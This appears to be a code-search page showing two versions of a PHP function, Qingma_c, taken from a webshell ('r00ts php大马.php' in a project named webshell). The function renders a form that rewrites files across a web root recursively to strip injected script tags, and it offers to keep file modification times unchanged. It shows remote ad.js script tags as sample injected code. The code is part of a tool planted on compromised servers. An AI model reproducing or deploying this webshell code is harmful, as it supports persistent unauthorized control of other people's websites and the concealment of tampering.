コード例 #1
0
function Qingma_c()
{
    if (!empty($_POST['qp']) && !empty($_POST['qt']) && !empty($_POST['qc'])) {
        echo '<div class="actall">';
        $qt = str_replace('.', '\\.', $_POST['qt']);
        $qd = isset($_POST['qd']) ? true : false;
        $qb = $_POST['qb'] == 'a' ? true : false;
        echo Qingma_Auto($_POST['qp'], $qt, $_POST['qc'], $qd, $qb) ? '<a href="#" onclick="history.back();">清马完毕</a>' : '<a href="#" onclick="history.back();">异常终止</a>';
        echo '</div>';
        return false;
    }
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    print <<<END
<script language="javascript">
function Fullll(i){
\tif(i==0) return false;
  Str = new Array(5);
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];}
\telse{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];}
  return true;
}
function autoup(){
\tif(document.getElementById('qp').value == ''){alert('清马路径不能为空');return false;}
\tif(document.getElementById('qt').value == ''){alert('文件类型不能为空');return false;}
\tif(document.getElementById('qc').value == ''){alert('清除代码不能为空');return false;}
\tdocument.getElementById('xform').submit();
}
</script>
<form method="POST" name="xform" id="xform" action="?s=c">
<div class="actall" style="height:35px;">清马路径 <input type="text" name="qp" id="qp" value="{$ROOT_DIR}" style="width:500px;">
<select onchange='return Fullll(options[selectedIndex].value)'>
<option value="0" selected>--范围选择--</option>
<option value="1">网站跟目录</option>
<option value="2">本程序目录</option>
</select></div>
<div class="actall" style="height:35px;">文件类型 <input type="text" name="qt" id="qt" value=".htm|.html|.shtml|.asp|.aspx|.php" style="width:500px;">
<select onchange='return Fullll(options[selectedIndex].value)'>
<option value="0" selected>--类型选择--</option>
<option value="3">静态文件</option>
<option value="4">脚本+静态</option>
<option value="5">JS文件</option>
</select></div>
<div class="actall">清除代码 <textarea name="qc" id="qc" style="width:610px;height:180px;">&lt;script language=javascript src="http://blackbap.org/ad.js"&gt;&lt;/script&gt;</textarea></div>
<div class="actall" style="height:30px;"><input type="checkbox" name="qd" value="1" checked>保持文件修改时间不变</div>
<div class="actall" style="height:50px;"><input type="radio" name="qb" value="a" checked>将清马应用于该文件夹,子文件夹和文件
<br><input type="radio" name="qb" value="b">仅将清马应用于该文件夹</div>
<div class="actall"><input type="button" value="开始清马" style="width:80px;height:26px;" onclick="autoup();"></div>
</form>
END;
    return true;
}
コード例 #2
0
ファイル: r00ts php大马.php プロジェクト: mcanv/webshell
function Qingma_c()
{
    if (!empty($_POST['qp']) && !empty($_POST['qt']) && !empty($_POST['qc'])) {
        $qt = str_replace('.', '\\.', $_POST['qt']);
        $qd = isset($_POST['qd']) ? true : false;
        $qb = $_POST['qb'] == 'a' ? true : false;
        echo Qingma_Auto($_POST['qp'], $qt, $_POST['qc'], $qd, $qb) ? 'Done' : 'Abort';
        echo '<br><input class="bt" type="button" value="back" onclick="history.back();">';
        return false;
    }
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    print <<<END
<script language="javascript">
function Fullll(i){
\tif(i==0) return false;
  Str = new Array(5);
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];}
\telse{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];}
  return true;
}
function autoup(){
\tif(document.getElementById('qp').value == ''){alert('path can not be empty');return false;}
\tif(document.getElementById('qt').value == ''){alert('type can not be empty');return false;}
\tif(document.getElementById('qc').value == ''){alert('code can not be empty');return false;}
\tdocument.getElementById('xform').submit();
}
</script>
<form method="POST" name="xform" id="xform" action="?s=c">
<div class="actall" style="height:35px;">Path: <input type="text" name="qp" id="qp" value="{$ROOT_DIR}" style="width:500px;">
<select onchange='return Fullll(options[selectedIndex].value)'>
<option value="0" selected>--select range--</option>
<option value="1">site root folder</option>
<option value="2">current folder</option>
</select></div>
<div class="actall" style="height:35px;">Type: <input type="text" name="qt" id="qt" value=".htm|.html|.shtml" style="width:500px;">
<select onchange='return Fullll(options[selectedIndex].value)'>
<option value="0" selected>--select type--</option>
<option value="3">html</option>
<option value="4">script+html</option>
<option value="5">js</option>
</select></div>
<div class="actall">Clean Code <textarea name="qc" id="qc" style="width:610px;height:180px;">&lt;script language=javascript src="http://www.baidu.com/ad.js"&gt;&lt;/script&gt;</textarea></div>
<div class="actall" style="height:30px;"><input type="checkbox" name="qd" value="1" checked>keep file time unchanged</div>
<div class="actall" style="height:50px;"><input type="radio" name="qb" value="a" checked>applied to current folder,subfolders and files
<br><input type="radio" name="qb" value="b">only applied to current folder</div>
<div class="actall"><input class="bt" type="button" value="begin" onclick="autoup();"></div>
</form>
END;
    return true;
}